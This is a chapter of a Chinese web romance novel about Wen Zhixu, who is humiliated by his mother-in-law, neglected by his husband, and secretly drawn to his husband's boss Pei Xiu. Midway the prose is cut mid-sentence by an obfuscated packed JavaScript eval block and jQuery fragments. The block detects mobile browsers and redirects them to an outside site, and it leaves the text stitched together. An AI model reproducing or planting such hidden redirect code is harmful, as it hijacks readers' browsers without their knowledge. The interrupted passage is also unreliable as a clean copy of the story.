温知许连着失眠几日，感觉身体被掏空，做什么都提不起劲。冰箱里只剩一小串葡萄，他拿出来慢慢洗，动作拖沓得很，像是在拖延，又像是在等一个不会来的人。


    门铃突然响，他指尖一顿，沈择言有指纹，从不会按门铃


    温知许擦干手走到玄关，从猫眼往外一看，沈母站在门外，身后跟着拎着大包小包的王阿姨。


    他打开门，还没来得及说话，沈母已经径直跨了进来，四处张望，像在查验一件货品，居高临下道：“择言呢？”


    “他还没回来。”温知许轻声应着，侧身让出位置，从鞋柜拿出拖鞋放在她脚边。


    沈母看都没看，踩着高跟鞋直接往里走，王阿姨朝他微微点头，也跟着进了客厅。


    温知许关上门，在玄关站了两秒，才端着果盘跟上去。


    “妈，吃点水果。”


    沈母理睬，看到茶几上枯死的绿萝，眉头一蹙：“花都死成这样了还摆着，多不吉利。”


    温知许刚想说等会儿扔掉，她已经移开目光，继续打量屋子。


    “你们这房子，住得还习惯吧？”


    “习惯。”温知许站在一旁，没敢坐下。


    沈母拈起一颗葡萄，看了眼又放下：“不够新鲜，皮都皱了，买的时候不会挑？”


    “下次我注意。”他低声应道。


    “下次？你们结婚都两年了，你还是这个样子，做什么都不上心。择言在外面那么忙，回到家连口像样的水果都吃不上，你这个老婆是怎么当的？”


    温知许垂着头，没说话。


    在沈家人面前，他怎么做都是错。从一开始，沈母就没真正认可过他，不过是看他听话、好用，才勉强接受这个挡箭牌。


    沈母从包里抽出一张照片，推到他面前：“你看看人家。”


    照片上是个陌生女人，妆容得体，笑得端庄自信。


    “这是陈家女儿，比你大两岁，人家结婚一年生了儿子，现在二胎都有了。你看看你，择言都快三十了，你想让我们沈家等到什么时候？”


    “我就知道你这种人说不通。当初择言要和你定下来，我就不同意。你什么家境，我们什么家境？能让你站在他身边，是给你面子，懂不懂？不珍惜、不伺候、不生孩子，你对得起谁？”


    字字句句带刺，扎得他心口痛。


    温知许垂着眼，拼命把翻涌的委屈往下压。他想哭，想蹲下来把自己缩成一团，可他不能。这里到处是眼睛，一哭，就真的彻底输了。


    “妈，我代孕是违法的。”


    沈母脸一沉，话被呛住，盯着他片刻，又想到新的由头指。


    “你看看你穿的是什么？不嫌丢人？择言好歹是公司高管，你作为他的太太，连件像样的衣服都没有，别人会怎么看他？会觉得他养不起你，会觉得他不疼你，会觉得你们夫妻感情不好——你知不知道，这些话传出去，对他的事业有多大影响？”


    温知许低头，这件衣服他穿了三年，确实旧了，可他觉得还能穿。他不喜欢逛街，没有那个心思，也没有那个必要。他在这个家里是透明的，透明的穿什么都一样。


    可沈母不这么想。“明天有个饭局，陈太太也会去，你到时候穿得体面一点，别给我丢人。”


    温知许睫毛一颤。


    饭局。


    他下意识想起上次晚宴，想起那道落在自己身上的目光，心跳不受控制地乱了。


    “听见没有？”


    “听见了。”


    沈母站起身，理了理裙子：“我走了，你自己好好想想。别整天闷在家里，对择言上点心，别总让他往外跑。”


    温知许知道，她口中的往外跑，是跑去沈择言真正放在心上的人那里。


    只是她不愿承认，宁愿把所有错都算在他头上。


    他送到门口，沈母一言不发地离开。


    王阿姨经过时，飞快地看了他一眼，透着几分无力的歉意。


    门关上了，终于安静了。


    温知许走回客厅，拿起枯死的绿萝，扔进垃圾桶，闷响一声，像什么东西碎了。


    他忽然觉得，自己和这盆绿萝没什么两样，被丢在不合适的地方，无人在意，慢慢枯萎。


    然后他坐在沙发上，一动不动，直到天色彻底暗下来。


    屋里没开灯，他一个人陷在黑暗里，手机安安静静，没有一条消息。


    沈择言九点多才回来。


    开门时带着淡淡的酒气，领带松垮，领口敞开，他看见黑暗里的温知许，皱了下眉：“怎么不开灯？”


    温知许没应声。


    沈择言按亮灯，刺眼的白光让他眯了眯眼，然后往沙发上一靠，闭眼揉着太阳穴，一副被应酬耗空的模样。


    “你妈今天来了。”温知许轻声说。


    沈择言动作顿了顿，敷衍应了声：“嗯。”


    “她拿了陈家女儿的照片，说人家一年生一个孩子。她说我不生孩子，不懂事，拴不住你，说我配不上你，穿得丢人。”


    沈择言不耐烦看了他一下，“她就这样，你别往心里去。”


    一句轻飘飘的“别往心里去”，就打发了他半小时的难堪。


    没有维护，没有解释，连一句“她说得不对”都吝啬。


    在他眼里，自己本就是用来挡麻烦的，受点委屈理所当然。


    温知许低下头，看着掌心被自己掐出的红印。皮肤会愈合，可心上的伤只会一道叠一道，叠到麻木，叠到不再疼，不是好了，是快死了。


    “还有别的事吗？”


    温知许摇了摇头。


    他起身走向浴室，经过温知许身边时，低头看了一眼。


    沙发上的人缩着身子，垂着眼，像只被雨淋湿、无处可躲的小猫。


    但只两秒，他便移开目光，推门进了浴室。


    温知许怔怔望着浴室门，脑子里不受控制地冒出一个念头——


    如果刚才站在这里的是裴修，会怎么样？


    他会不会在沈母开口第一句时就把他护在身后，会不会说“他很好，不用你指手画脚”，会不会说“你们配不上他”？


    眼眶一酸，他清楚，那都是幻想。


    裴修只是沈择言的上司，只是打过招呼的陌生人，没有理由，也没有身份护着他。


    浴室门开了，沈择言穿着浴袍出来，“早点睡。”


    他丢下一句，径直走进客卧，门咔嗒一声落了锁。


    温知许终于站起身，走进卧室，躺在床上望着天花板。心跳又轻又慢，像一台快要停摆的旧钟。


    只有想起裴修的时候，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415681|199761||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心脏才会重新跳得有力一点，提醒他自己还活着。


    可那也只是幻想。


    他没有名分，没有偏爱，没有人心尖上惦记。


    只有这间空房，这张冷床，和一个永远不会亮起来的梦。


    温知许闭上眼，一滴泪从眼角滑落，滑进鬓角，很快凉透、干涸，像从未存在过。


    他不知道，这座城市的另一端，裴修正站在窗前，望着满城灯火，满心满眼都是他。


    他在等。


    等幻想闯入脑海，等那道暖黄色的灯光，等一个，他触碰不到的人。


    这一夜，裴修也等了一整夜。


    次日，沈择言接到集团家庭日通知时，脸色就不太好看。高管必须出席，这是裴修亲自批示的活动，没有人敢缺席。


    上次晚宴后，裴修对温知许的关注，早已在他心里扎了根刺，即便他不愿承认，可每次想起裴修看温知许的眼神，胸口就闷得发慌，像被重物死死压住。


    “周六公司家庭日，你跟我去。”沈择言站在卧室门口，半步未进，依旧是命令和语气，没有半分商量。


    温知许沉默片刻，“好。”。


    沈择言没再多说一个字，转身就走。


    温知许听到玄关门被轻轻带上，他又走了，去公司，或是去见他放在心尖上的苏妄。


    温知许早已麻木，不想问，也不想猜。


    他从衣柜拿出一件浅蓝色衬衫挂在门把手上，想了想，又换成上次晚宴穿的白衬衫。


    不是因为好看，只是因为裴修见过，或许裴修早已不记得，可他想穿，想在那个人面前，穿同一件衣服，当做一个只属于自己的暗号。


    周六下午，温知许站在玄关镜前，最后检查自己的穿着。


    沈择言从卧室出来，看见他又穿白衬衫时，眉头皱了一下，“穿这件？”


    温知许轻轻点头，没做多余解释。


    沈择言没再追问，拿起车钥匙，冷冷丢下一句：“走吧。”


    家庭日设在裴氏集团旗下的度假村，草坪上搭着白色帐篷，长桌铺着浅蓝桌布，摆满水果、甜点与饮品。


    孩子们在草地上嬉笑奔跑，大人们三三两两聚在一起寒暄，氛围比晚宴轻松许多，可温知许却丝毫轻松不起来。


    他亦步亦趋跟在沈择言身后，双眼不自觉地在人群中搜寻，不敢太过明显，只是偷偷地像做贼一般，寻找裴修的身影。


    裴修是集团总裁，本不必出席这种面向员工的活动，温知许心里清楚，却还是忍不住在每个相似的身影上，寻找他的痕迹，寻找那道清冽又灼热、能让他浑身发烫的目光。


    沈择言将他安排在草坪边缘的长椅上，便转身去跟其他高管寒暄，留他独自一人坐着。


    他看着眼前阖家欢乐的场景，父母陪伴孩子，伴侣相互依偎，那些人脸上的笑意和温柔，是他这辈子都未曾拥有过的光。


    就在这时，他骤然感觉背后有一道目光，炙热而沉重，像一只看不见的手，从他的发顶，慢慢往下滑，滑过后脑勺，滑过后颈，滑过脊椎，一路滑到腰际。


    无需回头，无需确认，他的身体比大脑更先认出这道目光，是裴修。


    他来了。裴修来了。


    就站在他身后的某个角落，灼热滚烫的目光，牢牢锁住自己。